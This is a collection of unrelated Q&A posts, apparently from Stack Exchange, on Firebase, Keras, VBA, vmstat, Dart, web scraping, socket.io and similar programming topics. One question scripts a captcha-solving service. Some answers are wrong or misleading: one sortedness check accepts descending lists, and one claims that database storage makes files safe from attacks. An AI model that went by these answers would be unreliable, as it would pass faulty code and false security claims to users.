text:
Q: Adding multiple entries in firebase at same time I have to create an order using firebase database.
I need to perform following steps in overall operation
1- Update the balance of user
2- Create a transaction with payment data
3- Create a record of order in orders listing
4- Update entries of local store.

Now all of these details must be performed together. What is the best approach to do this in firebase. either
ref1.setValue(
ref2.setValue(
ref3.setValue(
ref4.setValue(

or via transactions, and if so how?

A: According to your comment:

The entires are not children of users, each is from different list. users, orders, transactions and stores

I recommend you to perform simultaneous updates to multiple locations in the JSON tree, with a single call to DatabaseReference's updateChildren() method.
An example from the offical documentation would be:
private void writeNewPost(String userId, String username, String title, String body) {
    // Create new post at /user-posts/$userid/$postid and at
    // /posts/$postid simultaneously
    String key = mDatabase.child("posts").push().getKey();
    Post post = new Post(userId, username, title, body);
    Map<String, Object> postValues = post.toMap();

    Map<String, Object> childUpdates = new HashMap<>();
    childUpdates.put("/posts/" + key, postValues);
    childUpdates.put("/user-posts/" + userId + "/" + key, postValues);

    mDatabase.updateChildren(childUpdates);
}

This example uses push() to create a post in the node containing posts for all users at /posts/$postid and simultaneously retrieve the key with getKey(). The key can then be used to create a second entry in the user's posts at /user-posts/$userid/$postid.

Simultaneous updates made this way are atomic: either all updates succeed or all updates fail.


text:
Q: maintain single database between customer and seller of android app If the customer places their order an app, it affects the SQLite database in their phone and I think the SQLite database is separate for every phone.
Then how can I get their order in the seller's phone app?
Can I use other than SQLite for maintain one database?

A: You must use online databases.
Examples:

*

*Firebase Realtime Database

*Firebase Firestore

*Azure SQL Database

Or you can host a database & server to serve your requirements.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Как определить путь загрузки библиотеки? Есть jni-библиотека, которая грузится так:
static {
    System.loadLibrary("library");
}

Как программно выяснить путь, по которому библиотека была реально загружена?
A: Никак. Только посмотреть на library path и поискать её. Получить пути можно так:
System.getProperty("java.library.path")

A: А, я вас обманул :) На самом деле, можно ещё написать свой класслоадер.. там есть приватный метод findLibrar. Если у вас будет свой класслоадер, то вы сможете его вызвать и протащить... но это не очень хорошо выглядит...


text:
Q: Check if list is sorted in python Write the in_order() function, which has a list of integers as a parameter, and returns True if the integers are sorted (in order from low to high) or False otherwise. The program outputs "In order" if the list is sorted, or "Not in order" if the list is not sorted.
Ex: If the list passed to the in_order() function is [5, 6, 7, 8, 3], then the function returns False and the program outputs:
Not in order
Ex: If the list passed to the in_order() function is [5, 6, 7, 8, 10], then the function returns True and the program outputs:
In order
Note: DO NOT use sorted() or sort().
My code works but for all except this one:
Test in_order(nums) returns True, where nums is [5, 5, 6, 6, 6, 7, 8, 10, 10, 10, 10]
def in_order(nums):
    return all(nums[i-1] < nums[i] for i in range(1, len(nums)))

if __name__ == '__main__':
    # Test out-of-order example
    nums1 = [5, 6, 7, 8, 3]
    if in_order(nums1):
        print('In order')
    else:
        print('Not in order')

    # Test in-order example
    nums2 = [5, 6, 7, 8, 10]
    if in_order(nums2):
        print('In order')
    else:
        print('Not in order')

A: I think the function need to be two lines of code with <= operators, to detect low to high and high to low list and equal sequences.
def in_order(nums):
    a = [nums[i-1] <= nums[i] for i in range(1, len(nums))]
    return all(x == a[0] for x in a)

[8, 6, 5, 4]
In order
[5, 5, 6, 6, 6, 8, 8, 10, 10, 10, 10]
In order

A: You could use zip() to compare each element with its successor and the all() function to check if all of these comparions return True:
def in_order(nums):
    return all(a<=b for a,b in zip(nums,nums[1:]))


text:
Q: Which Lenovo laptop is featured on the new Ubuntu homepage? Which Lenovo laptop is featured on the new Ubuntu homepage to highlight 12.10 (Quantal Quetzal)?
http://www.ubuntu.com/

A: It is a prototype or photoshoped case of one of Lenovos Ultrabook (U) Series.
At least I think it is a Prototype case, cause the Model number shows U000s, but the original Modell numbers are all but 000. ATM you can buy U310 and U410 Modells officially from the lenovo site.


text:
Q: casperjs - fill form / post form - solving death by captcha have that simple Webform which i want to fill and than get text from the result page.

<form method="post" action="http://api.dbcapi.me/decaptcher"
      enctype="multipart/form-data">
    <input type="hidden" name="function"     value="picture2">
    <input type="text"   name="username"     value="">
    <input type="text"   name="password"     value="">
    <input type="file"   name="pict">
    <input type="text"   name="pict_to"      value="0">
    <input type="text"   name="pict_type"    value="0">
    <input type="text"   name="print_format" value="html">
    <input type="submit" value="Send">
</form>

And just want to Post 3 Values to the Form. I tried with the following examples:
casper.start('http://api.dbcapi.me/decaptcher?function=picture2&print_format=html', function() {
    this.fillSelectors('#html>body>table>tbody>tr>td>form', {
        'input[name="username"]':    'loginname',
        'input[name="password"]':    'password',
        'input[name="pict"]':   'folder/file.jpeg'
    }, true);
});

or:
casper.open('http://api.dbcapi.me/decaptcher?function=picture2&print_format=html', {
    method: 'post',
    data:   {
        'username': 'loginname',
        'password':  'passwortd',
        'pict':  'folder/file.jpeg'
    },
     headers: {
        'Content-type': 'multipart/form-data'
    }
});

and
casper.start('http://api.dbcapi.me/api/captcha', function() {
    this.fill('form', {
        'username':    'loginname',
        'password':    'passwort',
        'captchafile':   'folder/file.jpeg',
    }, true);
});

none of them work correct :-(


text:
Q: Issue with Combining LSTM and CNN? (Python, Keras) I want to predict 8-characters license plates, so I wrote the below model in Keras:
x = Input(shape=(HEIGHT, WIDTH, CHANNELS))
base_model = InceptionV3(include_top=False, weights='imagenet', input_shape=(HEIGHT, WIDTH, CHANNELS))
base_model.trainable = False
y = base_model(x)
y = Reshape((8, 9 * 256))(y)
y = LSTM(units=20, return_sequences='true')(y)
y = Dropout(0.5)(y)
y = TimeDistributed(Dense(TOTAL_CHARS, activation="softmax", activity_regularizer=regularizers.l2(REGUL_PARAM)))(y)
y = Dropout(0.25)(y)
model = Model(input=x, output=y)
model.compile(loss="categorical_crossentropy", optimizer='rmsprop', metrics=['accuracy'])

I have about 6000 data for training which I augment them with ImageGenerator. My problem is that the loss and accuracy are approximately constant during time:
************************************************************
Epoch: 1
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6856/6869 [============================>.] - ETA: 0s - loss: 5.4525 - acc: 0.1924Epoch 00001: val_loss improved from 2.17175 to 2.15020, saving model to ./trained_model_V10.hdf5
6869/6869 [==============================] - 25s 4ms/step - loss: 5.4535 - acc: 0.1924 - val_loss: 2.1502 - val_acc: 0.2232
************************************************************
Epoch: 2
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6848/6869 [============================>.] - ETA: 0s - loss: 5.4543 - acc: 0.1959Epoch 00001: val_loss improved from 2.15020 to 2.11809, saving model to ./trained_model_V10.hdf5
6869/6869 [==============================] - 26s 4ms/step - loss: 5.4537 - acc: 0.1958 - val_loss: 2.1181 - val_acc: 0.2281
************************************************************
Epoch: 3
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6856/6869 [============================>.] - ETA: 0s - loss: 5.4284 - acc: 0.1977Epoch 00001: val_loss improved from 2.11809 to 2.09679, saving model to ./trained_model_V10.hdf5
6869/6869 [==============================] - 25s 4ms/step - loss: 5.4282 - acc: 0.1978 - val_loss: 2.0968 - val_acc: 0.2304
************************************************************
Epoch: 4
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6856/6869 [============================>.] - ETA: 0s - loss: 5.4500 - acc: 0.2004Epoch 00001: val_loss did not improve
6869/6869 [==============================] - 25s 4ms/step - loss: 5.4490 - acc: 0.2004 - val_loss: 2.1146 - val_acc: 0.2355
************************************************************
Epoch: 5
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6848/6869 [============================>.] - ETA: 0s - loss: 5.4399 - acc: 0.2006Epoch 00001: val_loss did not improve
6869/6869 [==============================] - 25s 4ms/step - loss: 5.4374 - acc: 0.2009 - val_loss: 2.1102 - val_acc: 0.2324
************************************************************
Epoch: 6
************************************************************
Train on 6869 samples, validate on 1718 samples
Epoch 1/1
6856/6869 [============================>.] - ETA: 0s - loss: 5.4636 - acc: 0.1977Epoch 00001: val_loss improved from 2.09679 to 2.09076, saving model to ./trained_model_V10.hdf5
6869/6869 [==============================] - 25s 4ms/step - loss: 5.4629 - acc: 0.1978 - val_loss: 2.0908 - val_acc: 0.2341
************************************************************

Now, I am not sure exactly the correctness of my model and I think the problem is my model. Is this the correct way to combine CNN and LSTM?
I also have tried the below mode:
REGUL_PARAM = 0
image = Input(shape=(HEIGHT, WIDTH, CHANNELS))
x = Reshape((8, HEIGHT, int(WIDTH/8), CHANNELS))(image)
y = TimeDistributed(Conv2D(16, (3, 3), activation='relu', padding='same', activity_regularizer=regularizers.l2(REGUL_PARAM)))(x)
y = TimeDistributed(MaxPooling2D((2, 2)))(y)
y = TimeDistributed(Conv2D(32, (3, 3), activation='relu', padding='same', activity_regularizer=regularizers.l2(REGUL_PARAM)))(y)
y = TimeDistributed(MaxPooling2D((2, 2)))(y)
y = TimeDistributed(Conv2D(64, (3, 3), activation='relu', padding='same', activity_regularizer=regularizers.l2(REGUL_PARAM)))(y)
y = Reshape((int(y.shape[1]), int(y.shape[4]*y.shape[3]*y.shape[2])))(y)
y = Bidirectional(LSTM(units=50, return_sequences='true'))(y)
y = TimeDistributed(Dense(64, activity_regularizer=regularizers.l2(REGUL_PARAM), activation='relu'))(y)
y = Dropout(0.25)(y)
y = TimeDistributed(Dense(TOTAL_CHARS, activity_regularizer=regularizers.l2(REGUL_PARAM), activation='softmax'))(y)
y = Dropout(0.25)(y)

model = Model(inputs=image, outputs=y)

the accuracy for this is about 70%, but the point is that I cannot overfit even on a small potion of my data.

A: Apparently, your model doesn't work well.
You may take a look at this code.
'''Train a recurrent convolutional network on the IMDB sentiment
classification task.
Gets to 0.8498 test accuracy after 2 epochs. 41s/epoch on K520 GPU.
'''
from __future__ import print_function

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.layers import Embedding
from keras.layers import LSTM
from keras.layers import Conv1D, MaxPooling1D
from keras.datasets import imdb

# Embedding
max_features = 20000
maxlen = 100
embedding_size = 128

# Convolution
kernel_size = 5
filters = 64
pool_size = 4

# LSTM
lstm_output_size = 70

# Training
batch_size = 30
epochs = 2

'''
Note:
batch_size is highly sensitive.
Only 2 epochs are needed as the dataset is very small.
'''

print('Loading data...')
(x_train, y_train), (x_test, y_test) = imdb.load_data(num_words=max_features)
print(len(x_train), 'train sequences')
print(len(x_test), 'test sequences')

print('Pad sequences (samples x time)')
x_train = sequence.pad_sequences(x_train, maxlen=maxlen)
x_test = sequence.pad_sequences(x_test, maxlen=maxlen)
print('x_train shape:', x_train.shape)
print('x_test shape:', x_test.shape)

print('Build model...')

model = Sequential()
model.add(Embedding(max_features, embedding_size, input_length=maxlen))
model.add(Dropout(0.25))
model.add(Conv1D(filters,
                 kernel_size,
                 padding='valid',
                 activation='relu',
                 strides=1))
model.add(MaxPooling1D(pool_size=pool_size))
model.add(LSTM(lstm_output_size))
model.add(Dense(1))
model.add(Activation('sigmoid'))

model.compile(loss='binary_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

print('Train...')
model.fit(x_train, y_train,
          batch_size=batch_size,
          epochs=epochs,
          validation_data=(x_test, y_test))
score, acc = model.evaluate(x_test, y_test, batch_size=batch_size)
print('Test score:', score)
print('Test accuracy:', acc)


text:
Q: Stream Aurora MySQL data changes into Kinesis Streams I am trying to stream Aurora MySQL data changes to Kinesis streams. What could be the best possible way to do this considering the fact that each and every record should be streamed into kinesis.

A: There are possibly numerous ways to do this, one of the popular one would be as follows:

*

*Enable binlogs in your cluster [1]

*Have a client (possibly a lambda function or an ec2 instance) that reads your binlog stream

*Create your Kinesis stream

*Make the client from Step 2 publish to your Kinesis stream from #3.

You can read articles [2] and [3] for reference. What you need is split between the two docs. ([3] is for postgres, but has some explanation about using lambdas or ec2 clients).
[1] https://aws.amazon.com/premiumsupport/knowledge-center/enable-binary-logging-aurora/
[2] https://aws.amazon.com/blogs/database/streaming-changes-in-a-database-with-amazon-kinesis/
[3] https://aws.amazon.com/blogs/database/stream-changes-from-amazon-rds-for-postgresql-using-amazon-kinesis-data-streams-and-aws-lambda/


text:
Q: Storing and retrieving dynamically created pdf in sql I have been playing around with creation of pdf documents for a project that I'm working on.  I would like to store the generated pdf document in a SQL database and then later be able to retrieve this pdf as well.
What are some suggestions for doing this?  Can the document be stored in the database without physically creating the document on the server?

A:
What are some suggestions for doing
  this? Can the document be stored in
  the database without physically
  creating the document on the server?

Sure just create the pdf as a byte stream (byte[]) and store it in the database. Depending on what you use to create it, you don't have to write it to the file system.
Actually, on the argument about where to store it.  If you have SQL server 2008, you want to use that.  It will store the file on the file system, but you can access it through the database like you would with any other data.  You get the best of both worlds.

A: This is again going to bring up the debate for/against storing things on the file system or within sql server itself.
It really depends on your needs, the size that you're expected, etc.  Here are some references, each with more references.
Storing a file in a database as opposed to the file system?
store image in database or in a system file?

A: Keep in mind that SQL Server 2008 now has the FILESTREAM data type. You can write the data to the file system, yet still store it in a column.

A: Save the PDF as a byte[] then you can use itextsharp to created the PDF when ready for viewing.

A: You can use a table like this to store files in SQL Server.
CREATE TABLE [Documents]
(
    [FileName] nvarchar(1000),
    [FileContent] varbinary(max)
)

A: You have 2 ways to do that:

*

*Store in FileServer and store the Filename in the database.

*Encode file and store in database.

I recomend that you use the second..
why I choose that answer??  for security.
One of a lot of reasons:
A little Example:

*

*If you do the Firt(store the file in the fileserver...) you are
crating a folder on your database.. so you server will be vulnerable
for attacks or for virus..

*If you do the second. the file will be encode and store in database
and you dont need to be worried about attacks or machine infections..
I think that this are 1 simple reason about why never use the first WAY!!!!!


text:
Q: WinForms data binding to a custom property throws an exception I am sorry if this is a duplicate, but I searched the net and haven't found an answer
I am trying to bind the control's Enabled (or ReadOnly for TextBox):
this.tbProj.DataBindings.Add(new Binding("Enabled", this, "CanEdit", false, DataSourceUpdateMode.OnPropertyChanged, false));
this.btnSave.DataBindings.Add(new Binding("Enabled", this, "Dirty", false, DataSourceUpdateMode.OnPropertyChanged, false));

To the following properties:
public bool Dirty { get; set; }

private bool CanEdit
{
    get { return this._CurrentRecord.CanEdit(); }
}

I get System.ArgumentException: Cannot bind to the property or column CanEdit on the DataSource. when trying to ShowDialog() the form.
If I bind the Enabled or ReadOnly to Dirty, everything forks fine. I tried get { return true; } and even added a setter: set { bool bummy=value; }, same error. I even changed CanEdit to an auto-implemented property, same as Dirty (just get; set; in declaration) at no avail...
Please help.
Thanks for any hints and advice.

A: The property has to be public:
public bool CanEdit
{
    get { return this._CurrentRecord.CanEdit(); }
}


text:
Q: Filtering a range in VBA I am having a problem using a filtered range in VBA.
If I use a macro to filter the range, then use another to call a Subtotal worksheet function to find a minimum values in the first column, I get the expected minimum for the filtered range; this is what I want. This is shown here:
Sub TestFilterTrans()
    Call FilterTrans("111Wall")
End Sub

Sub TestMinDate()
    MsgBox MinTransDate()
End Sub

Sub FilterTrans(Inv As String)
    Range("TransLabels").Select
    Selection.AutoFilter
    ActiveSheet.Range("Trans").AutoFilter Field:=2, Criteria1:=Inv
End Sub

Function MinTransDate()
    MinTransDate = Application.WorksheetFunction.Subtotal(5,     Worksheets("Transactions").Range("TransDates"))
End Function

However, if, from the sheet, I call a function to first invoke the filter procedure, and then call a function to find the minimum, it selects the minimum over the whole range, as if unfiltered, shown here:
Function IncepDate(Inv As String)
    Dim d As String
    Call FilterTrans(Inv)
    d = MinTransDate()
    Call FilterOff
    IncepDate = d
End Function

Can anyone tell me why the filter does not seem to work in the second case?

A: A Function is not supposed to manipulate the worksheet object. There are several questions on that topic here, but the consensus is that calling subroutines from within worksheet functions to manipulate the worksheet object is a bad idea.
I stepped through some similar code to try and replicate this.
The code executes without error, but if you step through, you will see that the autofilter is never actually applied.
I am reasonably certain this is by design, although an error/warning message would be nice.
My previous comment on a similar question:
Cells reference not working in Excel VBA 2010 Function
It is not possible to manipulate worksheet cells from a UDF called from the worksheet.
More information here:
https://stackoverflow.com/a/15647054/1467082
And here:
http://www.excel-it.com/UDF.htm
generally, subroutines can manipulate the worksheet, and functions cannot.
The exception is that functions called from within a subroutine(sometimes) can, however this is probably a bad habit to use a function for anything other than returning values to the Subroutine.
And, plenty of documentation about this from Microsoft:
http://support.microsoft.com/kb/170787

A user-defined function called by a formula in a worksheet cell cannot
  change the environment of Microsoft Excel. This means that such a
  function cannot do any of the following:

*

*Insert, delete, or format cells on the spreadsheet.

*Change another cell's value.

*Move, rename, delete, or add sheets to a workbook.

*Change any of the environment options, such as calculation mode or    screen views.

*Add names to a workbook.

*Set properties or execute most methods.

  The purpose of user-defined functions is to allow the user to create a
  custom function that is not included in the functions that ship with
  Microsoft Excel. The functions included in Microsoft Excel also cannot
  change the environment. Functions can perform a calculation that
  returns either a value or text to the cell that they are entered in.
  Any environmental changes should be made through the use of a Visual
  Basic subroutine.
During calculation, Excel examines the precedents of the cell that
  contains a user-defined function. If not all precedents have been
  calculated so far during the calculation process, Excel eventually
  calls the user-defined function and passes a Null or Empty cell to the
  function. Excel then makes sure that enough calculation passes occur
  for all precedents to be calculated. During the final calculation
  pass, the user-defined function is passed the current values of the
  cells. This can cause the user-defined function to be called more
  frequently than expected, and with unexpected arguments. Therefore,
  the user-defined function may return unexpected values.
For correct calculation, all ranges that are used in the calculation
  should be passed to the function as arguments. If you do not pass the
  calculation ranges as arguments, instead of referring to the ranges
  within the VBA code of the function, Excel cannot account for them
  within the calculation engine. Therefore, Excel may not adequately
  calculate the workbook to make sure that all precedents are calculated
  before calculating the user-defined function.


text:
Q: How should I correct ill-formatted lat-long pairs to be valid for PHP computation I have access to a dataset that contains latitude and longitude pairs, but they are ill formatted and are not properly represented in the data set.
For example, a lat-long pair might look like this: 31333445, 105530865 when it should be 31.333445, -105.530865. Given the data set I am working with I know that the min value for latitude is 31.0 and the max is 37.0, and the min/max of longitude is -103 to -109.
If I was given a piece of paper and a pencil I could easily correct these myself, but the correction needs to happen on the fly when we receive input from a different program. We have no control over how the data is formatted until it hits our system and then we can make changes and corrections, and the lat-long pairs are all in a integer format listed above rather than a float.
What would be the best way to go about manually correcting this error? I am using PHP for our processing system.

A: If they're the same length then just divide by 1000000 and make negative where needed:
echo $lat / 1000000;
echo -$lon / 1000000;

If not then get the number of numbers at the start (2 and 3 here) making negative if needed, then insert a decimal and the remaining:
echo substr($lat, 0, 2) . '.' . substr($lat, 2);
echo -substr($lon, 0, 3) . '.' . substr($lon, 3);

You can use floatval() on the results if needed.

A: If the number of digits is always the same fixed size then use the solution suggested by @AbraCadaver in his comment  ( just divide by 1000000 and multiply with -1)
If the number of digits can be different you need a different solution
and I have got a weird idea (at 0:24am)
I would convert the number to a string   resulting in "31333445"
then  concatenate "0." with the "31333445" resulting in  "0.31333445"
then convert it back to a double   resulting in 0.31333445
and then multiply it with 100 resulting in 31.333445 (and multiply the other value with -1 )

:-B
With this solution it does  not matter if the  number you get from outside  has 3 or 14 digits
May sound weird but should work.
If this sounds to be a useful solution i will put into code tomorrow.


text:
Q: Represent SQL Server table data in Power BI dektop table but with one extra column I have a table in SQL Server that contains document-related data. Data entry in this table is handled from ASP.NET code:

I have to show this table data in PowerBI desktop. With normal Select query I could bind the data in table of Power BI desktop. But along with this table data I have to show one more column IsProcessedBefore which I have to compute for each row.
This column values could be '1' or '0':

*

*1 indicates that this particular Document Number has been processed earlier

*0 indicates that this particular Document Number has not been processed earlier.

Output should be shown in Power BI desktop report as shown below.

I am not getting how could I compute this indicator for already existing data.
Whenever a new entry is done in the SQL Server table. It must be reflected same in the PowerBI report along with the computed indicator value.
Please help me with this scenario.
One way that I found is to create another page in same Power BI report, showing the number of times the documents processed using group by query on documentnumber and documentId (Output Shown below). But this is just workaround. Using this approach we will be having two pages. One could check documentnumber from actual table data in below output and refer its count. If its count is greater than 1 that means it is processed earlier.
.
But this workaround does not match up with the exact requirement.


text:
Q: Appropriate exception to throw when a parsing error occurs? When parsing a custom (text) file format in Java, what is the appropriate exception to throw when a syntax error is encountered? I'm looking for something analogous to .NET's FormatException.

Edit: The part about parsing might be slightly misleading. What I'm doing is not so much parsing as reading a line from a file, passing it to a method that extracts colon-separated fields from it, hence why I thought FormatException would be appropriate.

A: java.text.ParseException seems the most appropriate. If you want a runtime exception and not a checked one, IllegalArgumentException is probably the most appropriate.


text:
Q: what's the meaning of swpd in vmstat I am using vmstat on my linux machine, and it shows
➜  ~ vmstat                                                                                [16:56:44]
procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 1  0      0 18290200 1056100 8039540    0    0     1     6    4    7  1  0 99  0  0

when I check man vmstat, it says swpd: the amount of virtual memory used. which doesn't make any sense to me, because how can my virtual memory used is zero? Is the man page of vmstat wrong?

A:
"...amount of virtual memory used"

"used by kswapd"  should maybe be added. Here are some good examples from 2014: How to read Vmstat output
When there is "si" or "so", then "swapd" also has a value.
[user@RHEL ~]$ vmstat 1 5
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 3  1 244208  10312   1552  62636    4   23    98   249   44  304 28  3 68  1  0
 0  2 244920   6852   1844  67284    0  544  5248   544  236 1655  4  6  0 90  0
 1  2 256556   7468   1892  69356    0 3404  6048  3448  290 2604  5 12  0 83  0
 0  2 263832   8416   1952  71028    0 3788  2792  3788  140 2926 12 14  0 74  0
 0  3 274492   7704   1964  73064    0 4444  2812  5840  295 4201  8 22  0 69  0

I guess "swpd" in vmstat is the same as "swap, used" in free.
vmstat shows "si" and "so" as "per second" values, free only gives a snapshot of overall swap use.


text:
Q: Domain for parametrization of $z=xy$ I have the following surface $z=xy$ and I need to provide a parameterization. I thought about the application I took $(u,v)\in\mathbb R^2$, sends them in $(u,v,uv)$. However, I cannot understand which open set to consider as the domain of this parameterization.

A: Indefinitely many parameterizations possible.
$$ ( x = u+v, y= u-v,z=u^2-v^2) $$
$$ ( x = \frac{u+v}{p}, y = \frac{u-v}{q}, z =\frac { u^2-v^2}{pq}) $$
$$ ( x = \frac {\sin u \cosh v}{a}, y = \frac{\cos u \sinh v}{b}, z =\frac { \sin  2 u \sinh 2 v }{4ab} )$$
$$ \left( x =f(u,v), y= g(u,v),z= f(u,v) g(u,v) \right)$$
Domain of each case is set by using the maxima/minima of chosen functions.
For example in the first simple case if domain of $u$ is $(-1,2)$ and for $v$ $ (-3,-5)$ then z range is unbounded but $(u,v)$ and individual $(u,v)$ domains are $ (-1,-3),(2,-5)$.

A: $z = xy$ implies $2 z = 2 x y $
In matrix-vector form
$ r^T Q r + b^T r = 0 $
where $Q = \begin{bmatrix}0  && 1 && 0 \\ 1 && 0 && 0 \\ 0 && 0 && 0  \end{bmatrix}$ and $ b = [0, 0, -2]^T$
Diagonalize $Q$ it becomes
$Q = R D R^T$
with
$D = \begin{bmatrix} 1&&0&&0\\0 && -1 && 0 \\0 && 0 && 0 \end{bmatrix} $
$R = \begin{bmatrix} \dfrac{1}{\sqrt{2} } && -\dfrac{1}{\sqrt{2}} && 0 \\
\dfrac{1}{\sqrt{2} } && \dfrac{1}{\sqrt{2} } && 0 \\
0 && 0 && 1 \end{bmatrix}$
Define a change of variables $r = R v$, where $v = [v_1, v_2, v_3]^T$, then
$ v^T D v + b^T R v = 0 $
$v_1^2 - v_2^2 - 2 v_3 = 0 $
The parametrization of which is
$v_1 = t \sec s $
$v_2 = t \tan s $
$v_3 = \dfrac{1}{2} t^2$
Therefore a parameterization of the surface $r$ is
$r = R v = [ \dfrac{1}{\sqrt{2}} t (\sec s - \tan s) , \dfrac{1}{\sqrt{2}} t (\sec s + \tan s ), \dfrac{1}{2} t^2 ]^T $


text:
Q: Dart Double Decimal after Multiple additions When trying to run the following snippet:
void main() {
      double step = 0.1;
      double currentAmount = 1;
            while (currentAmount < 2) {
              currentAmount = currentAmount + step;
              print (currentAmount);
            }
    }

The output is as follows:
1.1
1.2000000000000002
1.3000000000000003
1.4000000000000004
1.5000000000000004
1.6000000000000005
1.7000000000000006
1.8000000000000007
1.9000000000000008
2.000000000000001

Can anybody tell me why the decimals are appearing as such and is this the normal behavior?

A: That's because you are losing precision
have a look at this package, it should solve your problem


text:
Q: Looping through scraping multiple URLs using Python but data isn't changing when I iterate through site page numbers? I'm messing around with web scraping using requests and beautifulsoup and I'm getting some odd results when trying to loop through multiple pages of message board data by adding 1 page number each loop.
The below code is an example where I'm looping through page 1 on the message board and then page 2.   Just to check myself, I'm printing the URL I'm hitting and then the first record found on that page.  The URLs look to be correct but the first post is the same for both.  But if I copy and paste those two URLs, I definitely see a different set of content on the page.
Can anyone tell me if this is a problem with my code or if it has something to do with how the data is structured on that forum that is giving me these results?  Thanks in advance!
from bs4 import BeautifulSoup

import requests

n_pages = 2
base_link = 'http://tigerboard.com/boards/list.php?board=4&page='

for i in range (1,n_pages+1):
    link = base_link+str(i)
    html_doc = requests.get(link)
    soup = BeautifulSoup(html_doc.text,"lxml")
    bs_tags = soup.find_all("div",{"class":"msgline"})
    posts=[]
    for post in bs_tags:
        posts.append(post.text)
    print link
    print posts[0]

>     http://tigerboard.com/boards/list.php?board=4&page=1
>     52% of all websites are in English, but  - catbirdseat MU - 3/23/17 14:41:06
>     http://tigerboard.com/boards/list.php?board=4&page=2
>     52% of all websites are in English, but  - catbirdseat MU - 3/23/17 14:41:06

A: The implementation of the website is bogus. For some reason, it requires the specific cookie PHPSESSID to be set, or it won't return another page than the first page, regardless of the page parameter.
Setting this cookie fixes the problem:
from bs4 import BeautifulSoup

import requests

n_pages = 2
base_link = 'http://tigerboard.com/boards/list.php?board=4&page='

for i in range (1,n_pages+1):
    link = base_link+str(i)
    html_doc = requests.get(link, headers={'Cookie': 'PHPSESSID=notimportant'})
    soup = BeautifulSoup(html_doc.text,"lxml")
    bs_tags = soup.find_all("div",{"class":"msgline"})
    posts=[]
    for post in bs_tags:
        posts.append(post.text)
    print link
    print posts[0]

Another solution would be to use a session because the first request (of the first page) will set the cookie to a real value and it will be sent in later requests.
It was fun to debug!


text:
Q: How to send message on python-socketio The API documentation (https://python-socketio.readthedocs.io/en/latest/intro.html) provides examples of the server and client. But if you run them, you will not start messaging. And I'm not sure how to set it up.
How do I set up messaging so I can output their body through the print function?
client.py
import socketio

sio = socketio.Client()

@sio.event
def connect():
    print('connection established')

@sio.event
def my_message(data):
    print('message received with ', data)
    sio.emit('my response', {'response': 'my response'})

@sio.event
def disconnect():
    print('disconnected from server')

sio.connect('http://localhost:5000')
sio.wait()

server.py
import eventlet
import socketio

sio = socketio.Server()
app = socketio.WSGIApp(sio, static_files={
    '/': {'content_type': 'text/html', 'filename': 'index.html'}
})

@sio.event
def connect(sid, environ):
    print('connect ', sid)
    my_message(sid, {'Test': 'Message'})

@sio.event
def my_message(sid, data):
    sio.send(data)
    print('Send message ', data)

@sio.event
def disconnect(sid):
    print('disconnect ', sid)

if __name__ == '__main__':
    eventlet.wsgi.server(eventlet.listen(('', 5000)), app)

Trace client.py
venv) user@debian:~/work/self_prj/socket_io$ python3 client.py
connection established

Trace server.py
(13043) wsgi starting up on http://0.0.0.0:5000
(13043) accepted ('127.0.0.1', 50352)
127.0.0.1 - - [11/Sep/2019 15:24:08] "GET /socket.io/?transport=polling&EIO=3&t=1568204648.5529237 HTTP/1.1" 200 385 0.000619
connect  cff05ec678794128a6541f33bf3ef6dd
Send message  {'Test': 'Message'}
(13043) accepted ('127.0.0.1', 50356)
127.0.0.1 - - [11/Sep/2019 15:24:08] "POST /socket.io/?transport=polling&EIO=3&sid=cff05ec678794128a6541f33bf3ef6dd HTTP/1.1" 200 167 0.000148
127.0.0.1 - - [11/Sep/2019 15:24:08] "GET /socket.io/?transport=polling&EIO=3&sid=cff05ec678794128a6541f33bf3ef6dd&t=1568204648.5590577 HTTP/1.1" 200 183 0.002194
127.0.0.1 - - [11/Sep/2019 15:24:33] "POST /socket.io/?transport=polling&EIO=3&sid=cff05ec678794128a6541f33bf3ef6dd HTTP/1.1" 200 167 0.000372
127.0.0.1 - - [11/Sep/2019 15:24:33] "GET /socket.io/?transport=polling&EIO=3&sid=cff05ec678794128a6541f33bf3ef6dd&t=1568204648.5659044 HTTP/1.1" 200 183 24.994966
127.0.0.1 - - [11/Sep/2019 15:24:58] "POST /socket.io/?transport=polling&EIO=3&sid=cff05ec678794128a6541f33bf3ef6dd HTTP/1.1" 200 167 0.000355

A: You established a connection. But you didn't print the message. In the client side, instead of this:
@sio.event
def my_message(data):
    print('message received with ', data)
    sio.emit('my response', {'response': 'my response'})

Use that:
@sio.event
def message(data):
    print('message received with ', data)
    sio.emit('my response', {'response': 'my response'})

A: I have recently set up a python socketio system to communicate between a local server and an AWS server. On the AWS I used Flask-SocketIO for the server, because I wanted to provide web page access, and python-socketio for the client.
I'm not sure of the preferred way to do this, but I used (on the server)
@sio.on('my_new_message')
def process_message(data):
    logging.warning("Data received: "+data)

Then on the client:
sio.emit('my_new_message', "Test message")

The point being that the emit references the name given in the handler on the server (and the other way round if you have handlers on the client as well). Using it this way, you can call the handlers what ever you want as long as you reference it with the emit.


text:
Q: Spring Data Gemfire configuration does not connect to locator? Suppose I have Gemfire locator & cacheserver processes already running in my target deployment environments. The target deployment environment uses a client-server topology.
I have a Spring 3.1 MVC application which wants to use the Gemfire cache. I'm using Spring Data Gemfire 1.2.2 and Gemfire 6.6.1
So I've added the following to my spring.xml
<util:properties id="gemfire-props">
    <prop key="log-level">${gemfire.log-level}</prop>
    <prop key="mcast-port">${gemfire.mcast-port}</prop>
    <prop key="locators">${gemfire.locators}</prop>
</util:properties>

<gfe:cache id="gemfireCache" properties-ref="gemfire-props"/>
<gfe:replicated-region id="myCacheRegion" cache-ref="gemfireCache">
    <gfe:cache-listener>
        <ref bean="gemfireCacheLogListener"/>
    </gfe:cache-listener>
    <gfe:entry-ttl timeout="${gemfire.myCacheRegion.ttl}" action="DESTROY"/>
</gfe:replicated-region>

